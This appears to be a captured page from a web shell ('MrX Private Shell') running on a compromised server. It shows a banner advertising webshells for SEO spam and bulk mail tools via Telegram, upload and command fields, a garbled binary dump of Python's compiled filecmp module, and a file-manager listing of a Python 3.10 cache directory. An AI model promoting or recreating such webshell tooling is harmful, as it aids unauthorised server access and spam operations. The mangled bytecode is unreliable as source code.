__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
o

#T_i�'�@s�dZddlZddlZddlmZddlmZgd�ZiZdZ	gd�Z
dd	�Zddd�Zd
d�Z
dd�ZGdd�d�Zddd�Zeefdd�Zdd�Zdd�ZedkrWe�dSdS)z�Utilities for comparing files and directories.

Classes:
    dircmp

Functions:
    cmp(f1, f2, shallow=True) -> int
    cmpfiles(a, b, common) -> ([], [], [])
    clear_cache()

�N)�filterfalse)�GenericAlias)�clear_cache�cmp�dircmp�cmpfiles�DEFAULT_IGNORESi )�RCS�CVS�tagsz.gitz.hgz.bzr�_darcs�__pycache__cCst��dS)zClear the filecmp cache.N)�_cache�clear�rr�/usr/lib/python3.10/filecmp.pyrsrTcCs�tt�|��}tt�|��}|dtjks|dtjkrdS|r&||kr&dS|d|dkr0dSt�||||f�}|durSt||�}tt�dkrKt�|t||||f<|S)aMCompare two files.

    Arguments:

    f1 -- First file name

    f2 -- Second file name

    shallow -- treat files as identical if their stat signatures (type, size,
               mtime) are identical. Otherwise, files are considered different
               if their sizes or contents differ.  [default: True]

    Return value:

    True if the files are the same, False otherwise.

    This function uses a cache for past comparisons and the results,
    with cache entries invalidated if their stat information
    changes.  The cache may be cleared by calling clear_cache().

    rFT�N�d)	�_sig�os�stat�S_IFREGr�get�_do_cmp�lenr)�f1�f2�shallow�s1�s2�outcomerrrrs
rcCst�|j�|j|jfS�N)r�S_IFMT�st_mode�st_size�st_mtime)�strrrrFs
�rc	Cs�t}t|d��G}t|d��1}	|�|�}|�|�}||kr,	Wd�Wd�dS|s=	Wd�Wd�dSq1sAwYWd�dS1sQwYdS)N�rbTF)�BUFSIZE�open�read)rr�bufsize�fp1�fp2�b1�b2rrrrKs

��4�rc@s�eZdZdZddd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
ee	eeeeeeeeeeed�Zdd�Zee�ZdS)ra�A class that manages the comparison of 2 directories.

    dircmp(a, b, ignore=None, hide=None)
      A and B are directories.
      IGNORE is a list of names to ignore,
        defaults to DEFAULT_IGNORES.
      HIDE is a list of names to hide,
        defaults to [os.curdir, os.pardir].

    High level usage:
      x = dircmp(dir1, dir2)
      x.report() -> prints a report on the differences between dir1 and dir2
       or
      x.report_partial_closure() -> prints report on differences between dir1
            and dir2, and reports on common immediate subdirectories.
      x.report_full_closure() -> like report_partial_closure,
            but fully recursive.

    Attributes:
     left_list, right_list: The files in dir1 and dir2,
        filtered by hide and ignore.
     common: a list of names in both dir1 and dir2.
     left_only, right_only: names only in dir1, dir2.
     common_dirs: subdirectories in both dir1 and dir2.
     common_files: files in both dir1 and dir2.
     common_funny: names in both dir1 and dir2 where the type differs between
        dir1 and dir2, or the name is not stat-able.
     same_files: list of identical files.
     diff_files: list of filenames which differ.
     funny_files: list of files which could not be compared.
     subdirs: a dictionary of dircmp instances (or MyDirCmp instances if this
       object is of type MyDirCmp, a subclass of dircmp), keyed by names
       in common_dirs.
     NcCsF||_||_|durtjtjg|_n||_|durt|_dS||_dSr!)�left�rightr�curdir�pardir�hider�ignore)�self�a�br5r4rrr�__init__|s

zdircmp.__init__cCsPtt�|j�|j|j�|_tt�|j�|j|j�|_|j�	�|j�	�dSr!)
�_filterr�listdirr0r4r5�	left_listr1�
right_list�sort�r6rrr�phase0�s
�
�
z
dircmp.phase0cCs�ttttjj|j�|j��}ttttjj|j�|j��}tt|j	t
|j|���|_tt|j	t
|j|���|_tt|j	t
|j|���|_dSr!)�dict�zip�mapr�path�normcaser<r=�list�__getitem__�filter�__contains__�commonr�	left_only�
right_only)r6r7r8rrr�phase1�s
z
dircmp.phase1c		Csg|_g|_g|_|jD]x}tj�|j|�}tj�|j|�}d}zt�	|�}Wnt
y2d}Ynwzt�	|�}Wnt
yEd}Ynw|r~t	�|j�}t	�|j�}||kr_|j�
|�qt	�|�rk|j�
|�qt	�|�rw|j�
|�q|j�
|�q|j�
|�qdS)Nrr)�common_dirs�common_files�common_funnyrJrrD�joinr0r1r�OSErrorr"r#�append�S_ISDIR�S_ISREG)	r6�x�a_path�b_path�ok�a_stat�b_stat�a_type�b_typerrr�phase2�s:
��

�z
dircmp.phase2cCs&t|j|j|j�}|\|_|_|_dSr!)rr0r1rO�
same_files�
diff_files�funny_files)r6�xxrrr�phase3�sz
dircmp.phase3cCsPi|_|jD]}tj�|j|�}tj�|j|�}|�|||j|j	�|j|<qdSr!)
�subdirsrNrrDrQr0r1�	__class__r5r4)r6rV�a_x�b_xrrr�phase4�s
�z
dircmp.phase4cCs$|��|j��D]}|��q	dSr!)rhrd�values�phase4_closure�r6�sdrrrrj�s
�zdircmp.phase4_closurecCs�td|j|j�|jr|j��td|jd|j�|jr*|j��td|jd|j�|jr8|j��td|j�|jrF|j��td|j�|jrT|j��td|j�|j	rb|j	��td|j	�|j
rr|j
��td|j
�dSdS)	N�diffzOnly in�:zIdentical files :zDiffering files :zTrouble with common files :zCommon subdirectories :zCommon funny cases :)�printr0r1rKr>rLr_r`rarNrPr?rrr�report�s.






�z
dircmp.reportcCs*|��|j��D]	}t�|��q	dSr!)rprdrirorkrrr�report_partial_closure��

�zdircmp.report_partial_closurecCs*|��|j��D]	}t�|��q	dSr!)rprdriro�report_full_closurerkrrrrs�rrzdircmp.report_full_closure)rdr_r`rarNrOrPrJrKrLr<r=cCs*||jvr	t|��|j||�t||�Sr!)�	methodmap�AttributeError�getattr)r6�attrrrr�__getattr__�s

zdircmp.__getattr__)NN)�__name__�
__module__�__qualname__�__doc__r9r@rMr^rcrhrjrprqrsrArtrx�classmethodr�__class_getitem__rrrrrXs(
##�rcCsJgggf}|D]}tj�||�}tj�||�}|t|||��|�q|S)a]Compare common files in two directories.

    a, b -- directory names
    common -- list of file names found in both directories
    shallow -- if true, do comparison based solely on stat() information

    Returns a tuple of three lists:
      files that compare equal
      files that are different
      filenames that aren't regular files.

    )rrDrQ�_cmprS)r7r8rJr�resrV�ax�bxrrrrs

rcCs*z
|||||��WStyYdSw)N�)rR)r7r8�sh�absrrrrrs
�rcCstt|j|��Sr!)rFrrI)�flist�skiprrrr:&sr:cCstddl}ddl}|�|jdd�d�\}}t|�dkr!|�dd��t|d|d�}d|vr4|��dS|��dS)Nrr�rr�zneed exactly two args)z-r�)�sys�getopt�argvr�GetoptErrorrrsrp)r�r��options�args�ddrrr�demo,sr��__main__)T)r|rr�	itertoolsr�typesr�__all__rr(rrrrrrrr�rr:r�ryrrrr�<module>s,
(

+	
�

Filemanager

Name Type Size Permission Actions
__future__.cpython-310.pyc File 4.03 KB 0644
__phello__.foo.cpython-310.pyc File 130 B 0644
_aix_support.cpython-310.pyc File 2.81 KB 0644
_bootsubprocess.cpython-310.pyc File 2.24 KB 0644
_collections_abc.cpython-310.pyc File 32.15 KB 0644
_compat_pickle.cpython-310.pyc File 5.73 KB 0644
_compression.cpython-310.pyc File 4.41 KB 0644
_distutils_system_mod.cpython-310.pyc File 5.29 KB 0644
_markupbase.cpython-310.pyc File 7.39 KB 0644
_osx_support.cpython-310.pyc File 11.26 KB 0644
_py_abc.cpython-310.pyc File 4.57 KB 0644
_pydecimal.cpython-310.pyc File 154.04 KB 0644
_pyio.cpython-310.pyc File 71.93 KB 0644
_sitebuiltins.cpython-310.pyc File 3.46 KB 0644
_strptime.cpython-310.pyc File 15.57 KB 0644
_sysconfigdata__linux_x86_64-linux-gnu.cpython-310.pyc File 34.56 KB 0644
_sysconfigdata__x86_64-linux-gnu.cpython-310.pyc File 34.55 KB 0644
_threading_local.cpython-310.pyc File 6.39 KB 0644
_weakrefset.cpython-310.pyc File 7.43 KB 0644
abc.cpython-310.pyc File 6.59 KB 0644
aifc.cpython-310.pyc File 24.11 KB 0644
antigravity.cpython-310.pyc File 822 B 0644
argparse.cpython-310.pyc File 62.05 KB 0644
ast.cpython-310.pyc File 54.43 KB 0644
asynchat.cpython-310.pyc File 6.86 KB 0644
asyncore.cpython-310.pyc File 15.63 KB 0644
base64.cpython-310.pyc File 16.76 KB 0644
bdb.cpython-310.pyc File 25.23 KB 0644
binhex.cpython-310.pyc File 12.57 KB 0644
bisect.cpython-310.pyc File 2.53 KB 0644
bz2.cpython-310.pyc File 10.62 KB 0644
cProfile.cpython-310.pyc File 4.99 KB 0644
calendar.cpython-310.pyc File 25.69 KB 0644
cgi.cpython-310.pyc File 26.1 KB 0644
cgitb.cpython-310.pyc File 9.76 KB 0644
chunk.cpython-310.pyc File 4.75 KB 0644
cmd.cpython-310.pyc File 12.41 KB 0644
code.cpython-310.pyc File 9.72 KB 0644
codecs.cpython-310.pyc File 32.44 KB 0644
codeop.cpython-310.pyc File 5.46 KB 0644
colorsys.cpython-310.pyc File 3.19 KB 0644
compileall.cpython-310.pyc File 12.43 KB 0644
configparser.cpython-310.pyc File 44.39 KB 0644
contextlib.cpython-310.pyc File 20.41 KB 0644
contextvars.cpython-310.pyc File 246 B 0644
copy.cpython-310.pyc File 6.83 KB 0644
copyreg.cpython-310.pyc File 4.57 KB 0644
crypt.cpython-310.pyc File 3.47 KB 0644
csv.cpython-310.pyc File 11.52 KB 0644
dataclasses.cpython-310.pyc File 25.96 KB 0644
datetime.cpython-310.pyc File 55.21 KB 0644
decimal.cpython-310.pyc File 362 B 0644
difflib.cpython-310.pyc File 57.52 KB 0644
dis.cpython-310.pyc File 15.29 KB 0644
doctest.cpython-310.pyc File 74.39 KB 0644
enum.cpython-310.pyc File 25.45 KB 0644
filecmp.cpython-310.pyc File 8.54 KB 0644
fileinput.cpython-310.pyc File 13.74 KB 0644
fnmatch.cpython-310.pyc File 4.14 KB 0644
fractions.cpython-310.pyc File 18.16 KB 0644
ftplib.cpython-310.pyc File 28.3 KB 0644
functools.cpython-310.pyc File 27.67 KB 0644
genericpath.cpython-310.pyc File 3.82 KB 0644
getopt.cpython-310.pyc File 6.19 KB 0644
getpass.cpython-310.pyc File 4.11 KB 0644
gettext.cpython-310.pyc File 17.79 KB 0644
glob.cpython-310.pyc File 5.71 KB 0644
graphlib.cpython-310.pyc File 7.44 KB 0644
gzip.cpython-310.pyc File 18.11 KB 0644
hashlib.cpython-310.pyc File 6.68 KB 0644
heapq.cpython-310.pyc File 13.54 KB 0644
hmac.cpython-310.pyc File 6.81 KB 0644
imaplib.cpython-310.pyc File 41.32 KB 0644
imghdr.cpython-310.pyc File 3.81 KB 0644
imp.cpython-310.pyc File 9.56 KB 0644
inspect.cpython-310.pyc File 83.16 KB 0644
io.cpython-310.pyc File 3.58 KB 0644
ipaddress.cpython-310.pyc File 61.2 KB 0644
keyword.cpython-310.pyc File 927 B 0644
linecache.cpython-310.pyc File 4.04 KB 0644
locale.cpython-310.pyc File 45.07 KB 0644
lzma.cpython-310.pyc File 11.82 KB 0644
mailbox.cpython-310.pyc File 58.68 KB 0644
mailcap.cpython-310.pyc File 7.15 KB 0644
mimetypes.cpython-310.pyc File 17.21 KB 0644
modulefinder.cpython-310.pyc File 15.79 KB 0644
netrc.cpython-310.pyc File 3.84 KB 0644
nntplib.cpython-310.pyc File 30.88 KB 0644
ntpath.cpython-310.pyc File 14.36 KB 0644
nturl2path.cpython-310.pyc File 1.71 KB 0644
numbers.cpython-310.pyc File 11.59 KB 0644
opcode.cpython-310.pyc File 5.32 KB 0644
operator.cpython-310.pyc File 13.19 KB 0644
optparse.cpython-310.pyc File 46.63 KB 0644
os.cpython-310.pyc File 30.86 KB 0644
pathlib.cpython-310.pyc File 41.07 KB 0644
pdb.cpython-310.pyc File 46.33 KB 0644
pickle.cpython-310.pyc File 45.78 KB 0644
pickletools.cpython-310.pyc File 66.17 KB 0644
pipes.cpython-310.pyc File 7.59 KB 0644
pkgutil.cpython-310.pyc File 17.93 KB 0644
platform.cpython-310.pyc File 26.79 KB 0644
plistlib.cpython-310.pyc File 23 KB 0644
poplib.cpython-310.pyc File 13.25 KB 0644
posixpath.cpython-310.pyc File 10.31 KB 0644
pprint.cpython-310.pyc File 17.46 KB 0644
profile.cpython-310.pyc File 14.05 KB 0644
pstats.cpython-310.pyc File 23.07 KB 0644
pty.cpython-310.pyc File 4.05 KB 0644
py_compile.cpython-310.pyc File 7.17 KB 0644
pyclbr.cpython-310.pyc File 9.55 KB 0644
pydoc.cpython-310.pyc File 83.64 KB 0644
queue.cpython-310.pyc File 10.54 KB 0644
quopri.cpython-310.pyc File 5.66 KB 0644
random.cpython-310.pyc File 22.21 KB 0644
re.cpython-310.pyc File 13.89 KB 0644
reprlib.cpython-310.pyc File 5.13 KB 0644
rlcompleter.cpython-310.pyc File 5.81 KB 0644
runpy.cpython-310.pyc File 9.19 KB 0644
sched.cpython-310.pyc File 5.97 KB 0644
secrets.cpython-310.pyc File 2.12 KB 0644
selectors.cpython-310.pyc File 16.7 KB 0644
shelve.cpython-310.pyc File 9.27 KB 0644
shlex.cpython-310.pyc File 7.6 KB 0644
shutil.cpython-310.pyc File 37.63 KB 0644
signal.cpython-310.pyc File 2.87 KB 0644
site.cpython-310.pyc File 17.5 KB 0644
sitecustomize.cpython-310.pyc File 225 B 0644
smtpd.cpython-310.pyc File 25.53 KB 0644
smtplib.cpython-310.pyc File 34.93 KB 0644
sndhdr.cpython-310.pyc File 6.8 KB 0644
socket.cpython-310.pyc File 28.28 KB 0644
socketserver.cpython-310.pyc File 24.75 KB 0644
sre_compile.cpython-310.pyc File 14.84 KB 0644
sre_constants.cpython-310.pyc File 6.21 KB 0644
sre_parse.cpython-310.pyc File 21.25 KB 0644
ssl.cpython-310.pyc File 44.21 KB 0644
stat.cpython-310.pyc File 4.17 KB 0644
statistics.cpython-310.pyc File 36.18 KB 0644
string.cpython-310.pyc File 6.94 KB 0644
stringprep.cpython-310.pyc File 16.67 KB 0644
struct.cpython-310.pyc File 307 B 0644
subprocess.cpython-310.pyc File 43.69 KB 0644
sunau.cpython-310.pyc File 16.1 KB 0644
symtable.cpython-310.pyc File 12.53 KB 0644
sysconfig.cpython-310.pyc File 17.73 KB 0644
tabnanny.cpython-310.pyc File 6.79 KB 0644
tarfile.cpython-310.pyc File 69.02 KB 0644
telnetlib.cpython-310.pyc File 18.07 KB 0644
tempfile.cpython-310.pyc File 26.7 KB 0644
textwrap.cpython-310.pyc File 13.49 KB 0644
this.cpython-310.pyc File 1.23 KB 0644
threading.cpython-310.pyc File 43.92 KB 0644
timeit.cpython-310.pyc File 11.49 KB 0644
token.cpython-310.pyc File 2.67 KB 0644
tokenize.cpython-310.pyc File 16.79 KB 0644
trace.cpython-310.pyc File 19.4 KB 0644
traceback.cpython-310.pyc File 21.2 KB 0644
tracemalloc.cpython-310.pyc File 17.11 KB 0644
tty.cpython-310.pyc File 1.05 KB 0644
turtle.cpython-310.pyc File 125.84 KB 0644
types.cpython-310.pyc File 9.3 KB 0644
typing.cpython-310.pyc File 83.28 KB 0644
uu.cpython-310.pyc File 3.78 KB 0644
uuid.cpython-310.pyc File 21.97 KB 0644
warnings.cpython-310.pyc File 13.33 KB 0644
wave.cpython-310.pyc File 17.18 KB 0644
weakref.cpython-310.pyc File 19.87 KB 0644
webbrowser.cpython-310.pyc File 16.6 KB 0644
xdrlib.cpython-310.pyc File 7.7 KB 0644
zipapp.cpython-310.pyc File 5.87 KB 0644
zipfile.cpython-310.pyc File 60.4 KB 0644
zipimport.cpython-310.pyc File 16.63 KB 0644
Filemanager